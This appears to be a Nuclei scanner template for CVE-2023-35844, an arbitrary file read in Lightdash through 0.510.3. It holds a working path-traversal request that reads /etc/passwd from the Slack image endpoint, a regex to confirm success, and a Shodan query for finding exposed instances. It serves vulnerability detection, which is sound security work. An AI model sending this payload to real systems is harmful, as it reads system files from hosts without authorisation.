id: CVE-2023-35844

info:
  name: Lightdash version <= 0.510.3 Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: |
    packages/backend/src/routers in Lightdash before 0.510.3
    has insecure file endpoints, e.g., they allow .. directory
    traversal and do not ensure that an intended file extension
    (.csv or .png) is used.
  reference:
    - https://advisory.dw1.io/59
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35844
  metadata:
    max-request: 1
    shodan-query: title:"Lightdash"
    verified: true
  tags: cve,cve2023,lightdash,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200